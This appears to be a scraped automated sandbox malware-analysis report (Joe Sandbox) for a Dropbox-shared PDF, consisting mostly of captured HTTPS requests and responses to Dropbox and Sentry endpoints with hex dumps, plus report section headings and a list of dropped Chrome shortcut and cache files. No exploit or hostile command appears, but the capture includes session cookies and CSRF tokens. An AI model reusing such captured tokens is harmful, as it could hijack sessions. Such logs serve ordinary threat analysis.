2024-12-27 22:25:54 UTC	486	OUT	Data Raw: 7b 22 73 65 6e 74 5f 61 74 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 32 32 3a 32 35 3a 35 32 2e 30 32 33 5a 22 2c 22 73 64 6b 22 3a 7b 22 6e 61 6d 65 22 3a 22 73 65 6e 74 72 79 2e 6a 61 76 61 73 63 72 69 70 74 2e 62 72 6f 77 73 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 32 37 2e 30 22 7d 7d 0a 7b 22 74 79 70 65 22 3a 22 73 65 73 73 69 6f 6e 22 7d 0a 7b 22 73 69 64 22 3a 22 31 30 31 39 64 62 36 39 66 31 37 63 34 66 30 35 62 65 39 62 30 63 31 63 39 36 36 31 31 38 64 39 22 2c 22 69 6e 69 74 22 3a 74 72 75 65 2c 22 73 74 61 72 74 65 64 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 32 32 3a 32 35 3a 35 32 2e 30 32 33 5a 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 32 32 3a 32 35 3a 35 32 2e 30 32 33 5a 22 2c 22 73 74 61 74 Data Ascii: {"sent_at":"2024-12-27T22:25:52.023Z","sdk":{"name":"sentry.javascript.browser","version":"8.27.0"}}{"type":"session"}{"sid":"1019db69f17c4f05be9b0c1c966118d9","init":true,"started":"2024-12-27T22:25:52.023Z","timestamp":"2024-12-27T22:25:52.023Z","stat
2024-12-27 22:25:55 UTC	467	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after Content-Length: 2 Content-Type: application/json Cross-Origin-Resource-Policy: cross-origin Date: Fri, 27 Dec 2024 22:25:54 GMT Server: envoy Vary: origin,access-control-request-method,access-control-request-headers X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: a65f7daa76204b929b71f871936eaa6b Connection: close
2024-12-27 22:25:55 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:56 UTC	524	OUT	GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1 Host: d.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en
2024-12-27 22:25:57 UTC	464	IN	HTTP/1.1 405 Method Not Allowed Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after Allow: POST Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Fri, 27 Dec 2024 22:25:57 GMT Server: envoy Vary: origin,access-control-request-method,access-control-request-headers X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 272e69f0cc444e1f8e1c9375dd160410 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:57 UTC	980	OUT	POST /2/client_metrics/record HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 381 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:57 UTC	381	OUT	Data Raw: 7b 22 73 63 6f 70 65 73 22 3a 5b 5d 2c 22 6b 6e 6f 77 6e 5f 6e 61 6d 65 73 70 61 63 65 73 22 3a 5b 5d 2c 22 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 3a 22 70 72 6f 64 22 2c 22 61 72 74 69 66 61 63 74 5f 6e 61 6d 65 22 3a 22 64 72 6f 70 62 6f 78 2d 77 65 62 22 2c 22 61 72 74 69 66 61 63 74 5f 76 65 72 73 69 6f 6e 22 3a 22 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 22 2c 22 63 6c 69 65 6e 74 5f 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 6c 69 65 6e 74 5f 76 65 72 73 69 6f 6e 22 3a 33 30 2c 22 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 22 3a 7b 22 2e 74 61 67 22 3a 22 74 79 70 65 73 63 72 69 70 74 22 7d 7d 2c 22 74 72 69 67 67 65 72 22 3a 7b 22 2e 74 61 67 22 3a 22 74 72 69 67 67 65 72 5f 68 Data Ascii: {"scopes":[],"known_namespaces":[],"environment":"prod","artifact_name":"dropbox-web","artifact_version":"0000000000000000000000000000000000000000","client_metadata":{"client_version":30,"implementation":{".tag":"typescript"}},"trigger":{".tag":"trigger_h
2024-12-27 22:25:58 UTC	594	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 76 X-Webkit-Csp: sandbox Content-Length: 137 Date: Fri, 27 Dec 2024 22:25:58 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 26263c4fc40049dfb0c987e3d2ecc1ce Connection: close
2024-12-27 22:25:58 UTC	137	IN	Data Raw: 7b 22 64 65 62 75 67 5f 69 6e 66 6f 73 22 3a 5b 5d 2c 22 6d 61 78 5f 73 63 6f 70 65 73 5f 70 65 72 5f 72 65 71 75 65 73 74 22 3a 31 30 30 2c 22 70 75 62 6c 69 63 61 74 69 6f 6e 5f 69 6e 74 65 72 76 61 6c 5f 73 65 63 6f 6e 64 73 22 3a 36 30 2c 22 72 65 70 6f 72 74 69 6e 67 5f 63 6f 6e 66 69 67 73 22 3a 5b 5d 2c 22 73 74 6f 70 5f 70 75 62 6c 69 63 61 74 69 6f 6e 5f 66 6f 72 5f 73 65 63 6f 6e 64 73 22 3a 30 7d Data Ascii: {"debug_infos":[],"max_scopes_per_request":100,"publication_interval_seconds":60,"reporting_configs":[],"stop_publication_for_seconds":0}

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:57 UTC	1063	OUT	POST /2/campaigns_toolkit/get_best_campaigns_for_user HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 500 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: QaOB2p9E3FzER2bfFEleC_wa X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:57 UTC	500	OUT	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 5f 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 70 61 67 65 22 3a 22 70 72 65 76 69 65 77 5f 70 61 67 65 22 2c 22 70 61 74 68 22 3a 22 2f 73 63 6c 2f 66 69 2f 6c 6e 63 67 73 6d 37 36 6b 37 6c 35 69 78 37 66 75 75 35 74 36 2f 32 30 32 34 2d 4f 4b 2d 48 6f 75 73 65 2d 4f 75 74 72 65 61 63 68 2e 70 64 66 22 7d 2c 22 65 76 65 6e 74 5f 63 6f 6e 74 65 78 74 22 3a 7b 22 66 69 6c 65 5f 65 78 74 65 6e 73 69 6f 6e 22 3a 22 70 64 66 22 2c 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 32 30 32 34 20 4f 4b 20 48 6f 75 73 65 2d 20 4f 75 74 72 65 61 63 68 2e 70 64 66 22 2c 22 66 69 6c 65 5f 70 61 74 68 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 6c 6e 63 67 73 6d 37 36 6b 37 6c 35 69 78 37 66 Data Ascii: {"campaign_properties":{"page":"preview_page","path":"/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf"},"event_context":{"file_extension":"pdf","file_name":"2024 OK House- Outreach.pdf","file_path":"https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7f
2024-12-27 22:25:58 UTC	594	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 55 X-Webkit-Csp: sandbox Content-Length: 141 Date: Fri, 27 Dec 2024 22:25:58 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 075f05d3aa464991ac537431fd672e61 Connection: close
2024-12-27 22:25:58 UTC	141	IN	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 73 22 3a 5b 5d 2c 22 63 61 6d 70 61 69 67 6e 73 5f 72 65 73 75 6c 74 22 3a 7b 22 63 61 6d 70 61 69 67 6e 73 22 3a 5b 5d 2c 22 72 65 71 75 65 73 74 5f 69 64 22 3a 22 30 37 35 66 30 35 64 33 61 61 34 36 34 39 39 31 61 63 35 33 37 34 33 31 66 64 36 37 32 65 36 31 22 2c 22 76 61 6c 69 64 5f 66 6f 72 22 3a 33 36 30 30 7d 2c 22 63 61 6d 70 61 69 67 6e 73 5f 74 6f 5f 73 6c 6f 74 73 22 3a 7b 7d 7d Data Ascii: {"campaigns":[],"campaigns_result":{"campaigns":[],"request_id":"075f05d3aa464991ac537431fd672e61","valid_for":3600},"campaigns_to_slots":{}}

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 248

Chrome Cache Entry: 249

Chrome Cache Entry: 250

Chrome Cache Entry: 251

Chrome Cache Entry: 252

Chrome Cache Entry: 253

Chrome Cache Entry: 254

Chrome Cache Entry: 255

Chrome Cache Entry: 256

Chrome Cache Entry: 257

Chrome Cache Entry: 258

Chrome Cache Entry: 259

Chrome Cache Entry: 260

Chrome Cache Entry: 261

Chrome Cache Entry: 262

Chrome Cache Entry: 263

Chrome Cache Entry: 264

Chrome Cache Entry: 265

Chrome Cache Entry: 266

Chrome Cache Entry: 267

Chrome Cache Entry: 268

Chrome Cache Entry: 269

Windows Analysis Report
https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:57 UTC	1069	OUT	POST /2/file_presence/logged_out/get_pass_transmitter_token HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 169 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: QaOB2p9E3FzER2bfFEleC_wa X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:57 UTC	169	OUT	Data Raw: 7b 22 66 69 6c 65 5f 69 6e 66 6f 22 3a 7b 22 2e 74 61 67 22 3a 22 73 68 61 72 65 64 5f 6c 69 6e 6b 5f 64 65 74 61 69 6c 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 6c 6e 63 67 73 6d 37 36 6b 37 6c 35 69 78 37 66 75 75 35 74 36 2f 32 30 32 34 2d 4f 4b 2d 48 6f 75 73 65 2d 4f 75 74 72 65 61 63 68 2e 70 64 66 3f 72 6c 6b 65 79 3d 6f 34 71 72 35 30 7a 70 64 77 31 7a 31 34 6f 36 69 6b 64 67 36 7a 6a 74 38 26 64 6c 3d 30 22 7d 7d Data Ascii: {"file_info":{".tag":"shared_link_details","url":"https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&dl=0"}}
2024-12-27 22:25:58 UTC	663	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Disposition: attachment; filename=unspecified Content-Security-Policy: sandbox X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 199 X-Webkit-Csp: sandbox Date: Fri, 27 Dec 2024 22:25:58 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 848 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 8dc7063bdb5c4d589a275e8f275522de Connection: close
2024-12-27 22:25:58 UTC	848	IN	Data Raw: 7b 22 62 65 61 63 6f 6e 5f 70 72 65 73 65 6e 63 65 5f 69 6e 66 6f 22 3a 20 7b 22 61 75 74 68 5f 6b 65 79 22 3a 20 22 6b 65 79 5f 74 79 70 65 3a 20 5c 22 70 61 73 73 5c 22 5c 6e 73 65 73 73 69 6f 6e 5f 69 64 3a 20 5c 22 31 34 33 36 33 38 31 32 30 36 31 30 37 34 30 30 39 33 30 37 30 37 36 39 31 36 33 34 34 33 37 38 34 33 35 35 30 31 5c 22 5c 6e 73 68 61 72 65 64 5f 6c 69 6e 6b 5f 75 72 6c 3a 20 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 6c 6e 63 67 73 6d 37 36 6b 37 6c 35 69 78 37 66 75 75 35 74 36 2f 32 30 32 34 2d 4f 4b 2d 48 6f 75 73 65 2d 4f 75 74 72 65 61 63 68 2e 70 64 66 3f 72 6c 6b 65 79 3d 6f 34 71 72 35 30 7a 70 64 77 31 7a 31 34 6f 36 69 6b 64 67 36 7a 6a 74 38 26 64 6c 3d 30 5c 22 5c 6e 22 Data Ascii: {"beacon_presence_info": {"auth_key": "key_type: \"pass\"\nsession_id: \"14363812061074009307076916344378435501\"\nshared_link_url: \"https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&dl=0\"\n"

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:57 UTC	1037	OUT	POST /2/stickers/get_stickers HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 4 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: QaOB2p9E3FzER2bfFEleC_wa X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:57 UTC	4	OUT	Data Raw: 6e 75 6c 6c Data Ascii: null
2024-12-27 22:25:58 UTC	664	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Disposition: attachment; filename=unspecified Content-Security-Policy: sandbox X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 18 X-Webkit-Csp: sandbox Date: Fri, 27 Dec 2024 22:25:58 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 15638 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 12273034c1904bec978ad0103c1aaf6d Connection: close
2024-12-27 22:25:58 UTC	15638	IN	Data Raw: 7b 22 73 74 69 63 6b 65 72 5f 73 65 74 73 22 3a 20 5b 7b 22 73 65 74 5f 69 64 22 3a 20 38 2c 20 22 6e 61 6d 65 22 3a 20 22 77 69 7a 61 72 64 73 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 57 69 7a 61 72 64 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 74 69 63 6b 65 72 73 2f 73 65 74 2f 38 22 2c 20 22 73 74 69 63 6b 65 72 73 22 3a 20 5b 7b 22 69 64 22 3a 20 35 35 2c 20 22 6e 61 6d 65 22 3a 20 22 61 70 70 72 65 63 69 61 74 69 6f 6e 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 57 69 7a 61 72 64 20 6d 61 6b 69 6e 67 20 61 20 72 61 69 6e 62 6f 77 22 2c 20 22 69 73 5f 6c 69 76 65 5f 73 74 69 63 6b 65 72 22 3a 20 74 72 75 65 2c 20 22 62 61 73 65 5f 75 72 6c 22 3a 20 22 68 74 Data Ascii: {"sticker_sets": [{"set_id": 8, "name": "wizards", "description": "Wizard", "url": "https://www.dropbox.com/stickers/set/8", "stickers": [{"id": 55, "name": "appreciation", "description": "Wizard making a rainbow", "is_live_sticker": true, "base_url": "ht

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:57 UTC	1034	OUT	POST /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 5023 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: QaOB2p9E3FzER2bfFEleC_wa X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:57 UTC	5023	OUT	Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 5d 2c 22 6d 65 61 73 75 72 65 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 6d 65 61 73 75 72 65 22 2c 22 6e 61 6d 65 22 3a 22 77 65 62 5f 70 72 65 76 69 65 77 73 2f 70 72 65 66 65 74 63 68 2e 74 69 6d 65 5f 74 6f 5f 6c 6f 61 64 65 72 5f 69 6e 69 74 22 2c 22 69 64 22 3a 22 39 31 32 35 38 63 63 64 2d 39 39 30 35 2d 34 34 33 30 2d 38 37 39 62 2d 66 65 38 61 66 36 37 31 32 64 36 64 22 2c 22 64 65 74 61 69 6c 22 3a 22 7b 5c 22 73 6f 75 72 63 65 5f 63 6f 6e 74 65 78 74 5c 22 3a 5c 22 73 6c 5f 66 69 6c 65 5c 22 2c 5c 22 6c 6f 67 67 65 64 5f 69 6e 5f 75 73 65 72 5c 22 3a 5c 22 66 61 6c 73 65 5c 22 2c 5c 22 70 72 65 76 69 65 77 5f 74 79 70 65 5c 22 3a 5c 22 73 73 72 5f 64 6f 63 5c 22 2c 5c 22 66 69 6c 65 5f 66 6c 69 70 5c 22 3a 5c 22 66 Data Ascii: {"events":[],"measures":[{"type":"measure","name":"web_previews/prefetch.time_to_loader_init","id":"91258ccd-9905-4430-879b-fe8af6712d6d","detail":"{\"source_context\":\"sl_file\",\"logged_in_user\":\"false\",\"preview_type\":\"ssr_doc\",\"file_flip\":\"f
2024-12-27 22:25:58 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 130 X-Webkit-Csp: sandbox Content-Length: 52 Date: Fri, 27 Dec 2024 22:25:58 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 2198bad5a0534d83868710419da63772 Connection: close
2024-12-27 22:25:58 UTC	52	IN	Data Raw: 7b 22 6d 73 67 22 3a 22 4d 65 61 73 75 72 65 73 20 70 72 6f 63 65 73 73 65 64 3a 20 31 30 20 45 76 65 6e 74 73 20 70 72 6f 63 65 73 73 65 64 3a 20 30 22 7d Data Ascii: {"msg":"Measures processed: 10 Events processed: 0"}

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:58 UTC	1009	OUT	OPTIONS /p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50 HTTP/1.1 Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://www.dropbox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 22:25:58 UTC	1220	IN	HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Authorization, Cache-Control, Content-Type, If-Modified-Since, Range, Accept, Accept-Language, Content-Language, Origin, Referer, X-Dropbox-App-Name, X-Dropbox-Request-Id, X-Dropbox-Parent-Request-Id, X-Dropbox-Parent-Span-Id, X-Dropbox-Perform-As-Team-Member, X-Dropbox-Perform-As-User, X-File-Name, X-File-Size, X-File-Type, X-Prototype-Version, X-Requested-With, X-Dropbox-Teamid, X-Dropbox-Team-Authorization, X-Paper-Client-Capabilities, Pad-Sharding-Experiment, X-Dropbox-Client-SSCV-Auth Access-Control-Allow-Methods: HEAD, GET, POST, OPTIONS, PUT Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Max-Age: 600 Cache-Control: no-cache Vary: Origin, Accept-Encoding X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 0 Date: Fri, 27 Dec 2024 22:25:58 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Robots-Tag: noindex, nofollow, noimageindex X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: f3e26cb0cdad453d919e5017e4ad1d99 Connection: close Transfer-Encoding: chunked
2024-12-27 22:25:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
